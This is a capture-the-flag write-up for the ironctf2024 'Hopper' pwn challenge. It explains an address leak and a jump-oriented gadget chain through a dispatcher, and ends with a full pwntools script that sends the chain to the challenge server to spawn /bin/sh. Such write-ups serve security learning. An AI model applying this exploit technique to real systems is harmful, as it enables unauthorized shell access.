Hopper
Hopper
Description
Hippety-hop… Hippety-hop your way to victory!
Ctf: ironctf2024 https://ctf.1nf1n1ty.team/challenges#Hopper-15
Author: Vigneswar
Category: pwn
nc pwn.1nf1n1ty.team 31886
Writeup
Overview
In this challenge we are given only binary without source code so we need to make use of IDA free to see what this binary does. But first we check what is this file using file
program we also
checksec
to find out what security features does this binary have from this we could say that this is nearly perfect binary for pwning, but life is not all roses and we cannot execute code from the stack. Lets take look at what is inside, shall we?
there is not even main function in this programme so we take a look at start
. What it does is:
- print a bunny ascii image
- print retaddr (very important for us)
- print “hop hop” as ascii image
- takes our input to a stack
- jumps to an address that that is at the top of our input
Why is this retaddr important for us? Thanks to it we can find out where is stack located, and we can reference addresses according to this leaked address. Luckily for us we are provided some gadgets that can help us exploit this challenge.
Plan for an exploit
Since we cannot execute the code from the stack we need to use provided gadgets to execute syscall
of execve
. What this means is we have to set some registers according to requirements x64.syscall.sh
RAX
has to be0x3B
RDI
has to be pointer to the beginning of/bin/sh
stringRSI
has to be0
RDX
has to be0
and we need to executesyscall
after that
How do we control the flow of the programme using those gadgets? If we put address of dispatcher in r15
(address that is jumped to at the end of most of the gadgets) we can use it to jump to some gadget like
and then jump back to r15
- dispatcher what dispatcher does is it increases value in rbx
by 8
and jumps to address that is pointed by address in this register. So we can essentially use it to walk the gadgets of which we put addresses on the stack.
Actual exploit
In order to do that we can put an address of gadgets at the top:
- address of
gadgets
gets popped of torsi
- address of
/bin/sh\x00
gets popped of tordi
- address of we leaked earlier gets popped of to
rbx
(this is the address that will be used by dispatcher) - value of
0x3B
gets popped of tor13
- address of
dispacher
gets popped tor15
- we jump to
disparcher
dispacher
jumps to itselfdispatcher
jumps to gadgets that clearsrsi
dispatcher
jumps toxchg rax, r13
to set rax to be0x3b
- from there we jump to address that is at
rsp
- from
dispatcher
we once again clearrsi
- from
dispatcher
we once again clearrdx
- finally we jump to
syscall
Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import remote, p64, u64
conn = remote("pwn.1nf1n1ty.team", 31886)
msg = conn.recvuntil(b'>>')
addr = msg[379: 379 + 8]
addr_int = u64(addr)
bin_sh_addr = addr_int + 8 * 6
gadget_chain = 0x401017
dispatcher_addr = 0x401011
xor_rsi = 0x401027
xchg_rax_r13 = 0x40100c
xor_rdx = 0x401021
syscall = 0x40100a
payload = p64(gadget_chain)
payload += p64(bin_sh_addr) # rdi
payload += p64(addr_int) # rbx
payload += p64(0x3b) # r13 (later rax)
payload += p64(dispatcher_addr) # r15 dispatcher
payload += p64(xor_rsi) # clear rsi
payload += p64(xchg_rax_r13) # swap rax and r13
payload += p64(xor_rdx) # clear rdx
payload += p64(syscall) # syscall
payload += b'/bin/sh\x00'
conn.sendline(payload)
conn.interactive()
Pro tip
if you don’t include null byte at the end of /bin/sh
you might find yourself debugging for few additional hours